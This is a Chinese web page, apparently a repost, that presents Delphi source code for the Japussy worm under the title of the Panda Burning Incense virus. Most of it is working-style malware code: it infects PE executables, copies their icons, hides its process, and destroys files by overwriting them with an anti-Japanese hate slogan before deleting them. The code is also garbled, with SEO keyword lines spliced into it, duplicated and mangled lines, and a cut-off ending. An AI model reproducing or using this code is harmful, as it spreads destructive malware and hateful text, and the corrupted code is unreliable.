b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

熊猫烧香病毒源代码

电脑杂谈  发布时间:2019-07-12 19:25:04  来源:网络整理

电脑病毒代码_病毒 代码_pe 病毒 代码

如果去掉修改图标这个过于明显的中毒特征电脑病毒代码,当时熊猫烧香感染电脑的数量电脑病毒代码,在所有病毒里并不是最大的,其危害并不像媒体报道的那么巨大。win32.morto.a是感染性蠕虫病毒,会感染几乎所有的exe文件,有点类似熊猫烧香,只不过它感染文件后,不会把它变成熊猫图标。戴光剑表示,‘小兔子’病毒与”熊猫烧香“极其类似,病毒可感染除c盘外其他盘上的所有.exe文件,并将图标修改为‘小兔子’图表。

programJapussy;

uses

Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry};

const

HeaderSize=82432; //病毒体的大小

IconOffset=$12EB8; //PE文件主图标的偏移量

//在我的Delphi5SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize=38912; //Upx压缩过病毒体的大小

IconOffset=$92BC; //Upx压缩过PE文件主图标的偏移量

//Upx1.24W用法:upx-9--8086Japussy.exe

}

IconSize =$2E8; //PE文件主图标的大小--744字节

IconTail =IconOffset+IconSize;//PE文件主图标的尾部

ID =$44444444; //感染标记

//垃圾码,以备写入

Catchword='Ifaraceneedtobekilledout,itmustbeYamato.'+

'Ifacountryneedtobedestroyed,itmustbeJapan!'+

'***W32.Japussy.Worm.A***';

{$R*.RES}

functionRegisterServiceProcess(dwProcessID,dwType:Integer):Integer;

stdcall;external'Kernel32.dll';//函数声明

var

TmpFile:string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean=False;//日文操作系统标记

{判断是否为Win9x}

functionIsWin9x:Boolean;

var

Ver:TOSVersionInfo;

begin

Result:=False;

Ver.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);

ifnotGetVersionEx(Ver)then

Exit;

if (ver.dwplatformid = ver_platform_win32_windows) then //win9x。if(ver.dwplatformid=ver_platform_win32_windows)then//win9x。if(ver.dwplatformid==ver_platform_win32_nt){ //为nt,2000,xp。

Result:=True;

end;

{在流之间复制}

procedureCopyStream(Src:TStream;sStartPos:Integer;Dst:TStream;

dStartPos:Integer;Count:Integer);

var

sCurPos,dCurPos:Integer;

begin

sCurPos:=Src.Position;

dCurPos:=Dst.Position;

Src.Seek(sStartPos,0);

Dst.Seek(dStartPos,0);

Dst.CopyFrom(Src,Count);

Src.Seek(sCurPos,0);

Dst.Seek(dCurPos,0);

end;

{将宿主文件从已感染的PE文件中分离出来,以备使用}

procedureExtractFile(FileName:string);

var

sStream,dStream:TFileStream;

begin

try

sStream:=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);

try

dStream:=TFileStream.Create(FileName,fmCreate);

try

sStream.Seek(HeaderSize,0);//跳过头部的病毒部分

dStream.CopyFrom(sStream,sStream.Size-HeaderSize);

finally

pe 病毒 代码_电脑病毒代码_病毒 代码

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{填充STARTUPINFO结构}

procedureFillStartupInfo(varSi:STARTUPINFO;State:Word);

begin

Si.cb:=SizeOf(Si);

Si.lpReserved:=nil;

Si.lpDesktop:=nil;

Si.lpTitle:=nil;

Si.dwFlags:=STARTF_USESHOWWINDOW;

Si.wShowWindow:=State;

Si.cbReserved2:=0;

Si.lpReserved2:=nil;

end;

{发带毒邮件}

procedureSendMail;

begin

//哪位仁兄愿意完成之?

end;

{感染PE文件}

procedureInfectOneFile(FileName:string);

var

HdrStream,SrcStream:TFileStream;

IcoStream,DstStream:TMemoryStream;

iID:LongInt;

aIcon:TIcon;

Infected,IsPE:Boolean;

i:Integer;

Buf:array[0..1]ofChar;

begin

try//出错则文件正在被使用,退出

if comparetext(filename,'japussy.exe') = 0 then //是自己则不感染。if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染。 if comparetext(filename, ''''''''''''''''japussy.exe'''''''''''''''') = 0 then //是自己则不感染。

Exit;

Infected:=False;

IsPE :=False;

hdrstream := tfilestream.create(paramstr(0), fmopenread orfmsharedenynone)。sstream := tfilestream.create(paramstr(0), fmopenread orfmsharedenynone)。create(filename, fmopenread)。

try

fori:=0to$108do//检查PE文件头

begin

SrcStream.Seek(i,soFromBeginning);

SrcStream.Read(Buf,2);

if(Buf[0]=#80)and(Buf[1]=#69)then//PE标记

begin

IsPE:=True;//是PE文件

Break;

end;

end;

SrcStream.Seek(-4,soFromEnd);//检查感染标记

SrcStream.Read(iID,4);

if(iID=ID)or(SrcStream.Size<10240)then//太小的文件不感染

Infected:=True;

finally

SrcStream.Free;

end;

ifInfectedor(notIsPE)then//如果感染过了或不是PE文件则退出

Exit;

IcoStream:=TMemoryStream.Create;

DstStream:=TMemoryStream.Create;

try

aIcon:=TIcon.Create;

try

//得到被感染文件的主图标(744字节),存入流

病毒 代码_电脑病毒代码_pe 病毒 代码

aIcon.ReleaseHandle;

aIcon.Handle:=ExtractIcon(HInstance,PChar(FileName),0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream:=TFileStream.Create(FileName,fmOpenRead);

//头文件

HdrStream:=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream,0,DstStream,0,IconOffset);

//写入目前程序的主图标

copystream(icostream, 22, dststream, iconoffset, iconsize)。copystream(icostream,22,dststream,iconoffset,iconsize)。copystream(hdrstream, 0, dststream, 0, iconoffset)。

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream,IconTail,DstStream,IconTail,HeaderSize-IconTail);

//写入宿主程序

CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0,2);

iID:=$44444444;

DstStream.Write(iID,4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName);//替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{将目标文件写入垃圾码后删除}

procedureSmashFile(FileName:string);

var

FileHandle:Integer;

i,Size,Mass,Max,Len:Integer;

begin

try

SetFileAttributes(PChar(FileName),0);//去掉只读属性

FileHandle:=FileOpen(FileName,fmOpenWrite);//打开文件

try

Size:=GetFileSize(FileHandle,nil);//文件大小

i:=0;

Randomize;

Max:=Random(15);//写入垃圾码的随机次数

ifMax<5then

Max:=5;

Mass:=SizedivMax;//每个间隔块的大小

Len:=Length(Catchword);

whilei<Maxdo

begin

FileSeek(FileHandle,i*Mass,0);//定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle,Catchword,Len);

Inc(i);

end;

finally

FileClose(FileHandle);//关闭文件

end;

DeleteFile(PChar(FileName));//删除之


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-112465-1.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    每日福利
    热点图片
    拼命载入中...